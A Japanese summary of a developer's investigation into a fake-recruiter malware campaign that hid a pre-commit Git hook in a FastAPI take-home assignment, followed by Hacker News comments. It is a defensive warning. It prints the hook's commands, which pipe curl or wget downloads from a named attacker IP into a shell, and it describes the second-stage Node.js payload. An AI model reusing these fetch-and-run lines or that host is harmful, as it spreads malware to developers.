- LinkedInで月額 $10,000〜15,000 のリモートPython開発者職を提示した偽の採用担当者が、通常のFastAPI課題に見せかけたZIPファイルを送り、Git作業の過程でマルウェアがインストールされるよう仕組んでいた
- リポジトリの
.git/hooksには、OS別のリモートペイロードをひそかに実行する pre-commit フック が隠されており、課題PDFのGit作業は応募者にそれを実行させるための仕掛けだった - Linuxペイロードは
~/Documentsに第2段階スクリプトをダウンロードしてnohupで実行した後、Node.js と依存関係、および難読化されたparser.jsをインストールしてバックグラウンドで動作させる - リクエストの
id=402の値を変えると別のスクリプトが返され、package.jsonにはクリップボードアクセス用のclipboardyや Ethereum 開発環境のhardhatなどが含まれていたが、最終目的は確認されていない - 攻撃者は公開FastAPIリポジトリに悪意あるディレクトリだけを付け加えており、別の亜種ではVSCodeでフォルダを開くだけでコマンドが実行された。外部プロジェクトを扱う前に 隠しディレクトリと自動実行設定 を確認する必要がある
良すぎる採用オファー
- LinkedInで届いたPython開発者の採用提案は、月額 $10,000〜15,000 を支払うリモート優先の契約職で、その後正社員へ転換する形だった
- 面談前から高額報酬を提示しており、インド基準ではかなり大きな金額だったことが最初の警告サインだった
- 採用に使われた会社はY Combinatorのスタートアップであることが確認できたが、その規模の予算を使う会社なら通常はもっと体系的な採用プロセスを持っているはずだという疑念が残った
- 履歴書を送るとすぐに承認され、Google Drive経由でZIPアーカイブと課題指示PDFを受け取った
- PDFは既存コードベースの改善、アーキテクチャ提案、Git作業などを求めており、見た目には普通の評価文書に近かった
FastAPIプロジェクトに隠されたGitフック
- 圧縮ファイルにはSQLAlchemyを使う平凡な FastAPIバックエンド が入っており、
requirements.txtにもタイポスクワッティングや明白な悪意あるパッケージは見つからなかった - 隠し項目を確認するため
tree -aを実行すると、.git/hooksの下に複数のGitフックがあらかじめ構成されていた pre-commitスクリプトはuname -sでOSを判別した後、同じサーバーからプラットフォーム別のペイロードをダウンロードして実行する- macOSでは
curl .../task/mac?id=402 | shを実行する - Linuxでは
wget .../task/linux?id=402 | shを実行する - Windows系では
curl .../task/windows?id=402 | cmdを実行する
- macOSでは
- 出力はすべて
/dev/nullに送り、プロセスをバックグラウンドで動かして 実行の痕跡をユーザーから隠していた - ドメインではなく
45.61.164.38:5777という生のIPアドレスを直接使っていたため、悪意ある挙動がいっそう目立っていた
Linuxの多段階ペイロード
- 最初のLinuxスクリプトは
~/Documentsにtokenlinux.nplをダウンロードし、tokenlinux.shに名前を変えて実行権限を付与する - 続いて
nohup bashでスクリプトをバックグラウンド実行し、ターミナル終了やログアウト後もプロセスが動き続けるようにする - 第2段階スクリプトは次の処理をひそかに実行する
- Node.jsのインストール とシステムパスの設定
parser.jsとpackage.jsonのダウンロード- 必要なnpm依存関係のインストール
parser.jsをnohup nodeで実行し、ログをparser.logに記録
parser.jsは手動分析が難しいほど強く難読化されており、元のファイルはparser.jsに保存されている
被害者ごとの識別の可能性
- エンドポイントには
id=402パラメータが繰り返し渡されており、この値を変えるとまったく別のスクリプトが返された - 攻撃者が応募者ごとに固有の識別子を割り当て、個別のペイロードを提供していた可能性はあるが、実際の追跡方法は確認できていない
- 難読化解除のため複数のLLMにコードを入力したが、結果は食い違っていた
- Claudeは安全制限が働いて分析を拒否した
- Geminiはスクリプト分析結果を提供した
tokenlinux.nplという元の拡張子を検索した結果、より広範に展開された攻撃キャンペーンと関連していることが確認された
疑わしいNode.js依存関係
package.jsonのプロジェクト名はtokendappで、hardhat、axios、basic-ftp、clipboardy、jsonwebtoken、ps-node、requestなどを含んでいた- バックグラウンド設定作業のために、クリップボードアクセス 用の
clipboardyやファイルシステム関連パッケージがなぜ必要なのかは不明だった hardhatはEthereum開発環境だが、Ethereumはプルーフ・オブ・ワーク方式から移行しているため、一般的なマイニング構成だと断定するのは難しい- 暗号資産ウォレットを探したり、ローカルのブラウザ拡張機能と相互作用したりする可能性も検討されたが、最終的な悪意ある目的は確認されていない
VSCodeを使う別の亜種
- 同じ攻撃の別の亜種は、ZIPファイル内に
.vscodeフォルダ を隠し、そのディレクトリをVSCodeで開いたときにコマンドが実行されるよう構成していた - この方式ではGitコマンドやプロジェクトコードを直接実行しなくても、フォルダを開くだけで感染する可能性がある
- 特定の会社が攻撃に直接関与したのではなく、攻撃者が見つけた会社名を借りて採用提案を正当に見せかけていたことが確認された
公開リポジトリを再利用した偽装
git logには攻撃者が作ったプロジェクトではなく、既存開発者たちのコミット履歴がそのまま残っていた- 元になったのは公開リポジトリの
personal-finance-serviceだった - 攻撃者は通常のFastAPIプロジェクトを複製した後、悪意ある隠しディレクトリ だけを追加して課題用コードベースに偽装していた
- 正常なコードとクリーンな
requirements.txtだけを確認すると、悪意ある挙動を見逃しかねない構造だった
攻撃サーバー調査と限界
- 攻撃サーバーをNmapでスキャンした結果、開いていたポートは3つで、そのうち2つはバージョン検出に応答しなかった
- 22番ポートではUbuntuの OpenSSH 9.6p1 が動作していた
- スキャン当時、このバージョンは公開から1週間あまりしか経っておらず、利用可能な既知のCVEは見つからなかったため、サーバー内部まで調査を広げるのは難しかった
- マルウェア配布の方法は目立っていたが、サーバー運用のセキュリティは比較的よく保たれており、この時点で追跡は止まった
Git課題が担っていた役割
- 課題PDFのGit作業は、応募者に最低1回はGitコマンドを実行させて 事前に仕込まれたフックを発動 させるための仕掛けだった
- 偽の採用担当者は、攻撃が発覚したという連絡を受けた直後にLinkedInアカウントを削除したとみられる
- 見慣れないプロジェクトを実行したりGitコマンドを実行したりする前に、
tree -aのようなツールで.git、.vscodeなどの 隠しディレクトリと自動実行設定 を確認する必要がある
1件のコメント
Hacker News のコメント
この記事を読んで、もっと巧妙な手口でハッキングされていたのだと気づいた。
数週間前、実在する会社の CTO と面接したが、カメラはオフで訛りも強かったものの、会話内容は自然で、技術にも詳しい人物だった。技術面接では、その会社のオープンソースプロジェクトを修正してほしいと言われ、リポジトリをクローンして開発環境を確認してほしいと頼まれた。
その後、人事担当者から CTO の病気で面接が延期になったと言われ、数日後にはその担当者の LinkedIn プロフィールも削除されていた。この記事を見て確認したところ、面接中にクローンして実行したリポジトリに マルウェアのペイロード が含まれていた。
以前、週次ダウンロード数 4,300万回以上の NPM パッケージ を管理していたため、標的にされたようだ。すべてのアカウントに二要素認証を設定し、NPM パッケージもトークンなしで手動デプロイしていたが、ノート PC は初期化して全部入れ直さなければならない
似た HN の投稿を探したが、詐欺師と Google Meet で通話したという話は見つからなかった
まともな会社ならそれを検討するはずだし、拒否するなら危険を避けられたということだ。今はコード生成に LLM を広く使う時代なので、どんな技術スタックでも可能であるべきだと思う
最近は開発者を狙った 北朝鮮発の攻撃 が増えているようだ。何年も続いているこうした手口に加え、「あなたのプロフィールを見たが、協業しないか」という北朝鮮ハッカーからのメールを週に 1 回くらい受け取る。
プログラミング系 Discord コミュニティでも、参加して数日以内に仕事や協業を持ちかけてくるアカウントが多い。実際の求職者かもしれないが、メッセージの量と類似性が不自然で、活動がほとんどないマイナーな Python ライブラリのコミュニティにまで来るのを見ると、Discord コミュニティ一覧をスクレイピングして無差別に接触しているように思える。
互いの信頼を悪用する攻撃が増えているのだから、親に言われた通り ネットの見知らぬ人を信用しないこと が必要だ
被害者の OS を確認した上でリモートのペイロードをこっそり実行する手口が繰り返されており、先月も似た投稿がトップページに上がっていた。
https://news.ycombinator.com/item?id=48546294
生の IP アドレスは強くマルウェアを連想させるが、フックの内容を確認するほど深く調べた被害者なら、そこで疑いをやめることもないだろう。大半の開発者は
git commitが悪意ある動作を実行しうる とは思っていないはずで、Git のセキュリティ上の弱点なのか気になるいろいろな安全策のせいで、Claude は補助役としてまったく役に立たなかった という話だけが残った
生の IP を使ったのは、ドメインレジストラに身元情報を残さないため、あるいはオンライン上の痕跡を最小限にするためかもしれない
スクリーンショットの大半がそのままでは開けず、新しいタブで見る必要があった。
この詐欺はかなり巧妙なので、すでに多くの求職者が引っかかっていそうだし、記事に出てきた Visual Studio Code プロジェクト はさらに危険に見える。プロジェクトを開くだけでユーザーコードが実行されるなら、明らかなマルウェア経路なのでセキュリティ上の緩和策が必要だ。
採用サイト側の対応も不十分だ。企業や機関の所属を名乗るなら在籍証明を求めるとか、未検証アカウントからのメッセージには大きな警告を表示するだけでも、多くの詐欺は難しくなるはずだ。今は誰でも好き勝手に会社経歴や学歴を名乗れてしまう
Hacker News のトップページに本物のハッキング関連の記事が載るのはうれしい
http://www.catb.org/jargon/html/H/hacker.html
プログラム可能なシステムの詳細な構造や限界を探究し、とりわけコンピュータやネットワークの内部動作を深く理解することに喜びを感じる人を指す。また、理論だけにとどまらず、情熱的に、ときには執拗なほどプログラミングする人も意味する
LinkedIn が詐欺防止に本気なら、現在の勤務先を記載するときに 会社メールでの認証 を提供できるはずだ。義務化が重いなら、少なくとも正当性を示したい採用担当者が任意で認証できるようにすべきだ
今も AI 採用市場 と LLM・自動化への需要を狙って、似たようなことが起きていそうだ
こうした攻撃は今後ますます一般的になるだろう。攻撃者は徹底的に調査しており、やり口も悪質だが、技術的な完成度 は認めざるをえず、実際の成功率もかなり高いと思う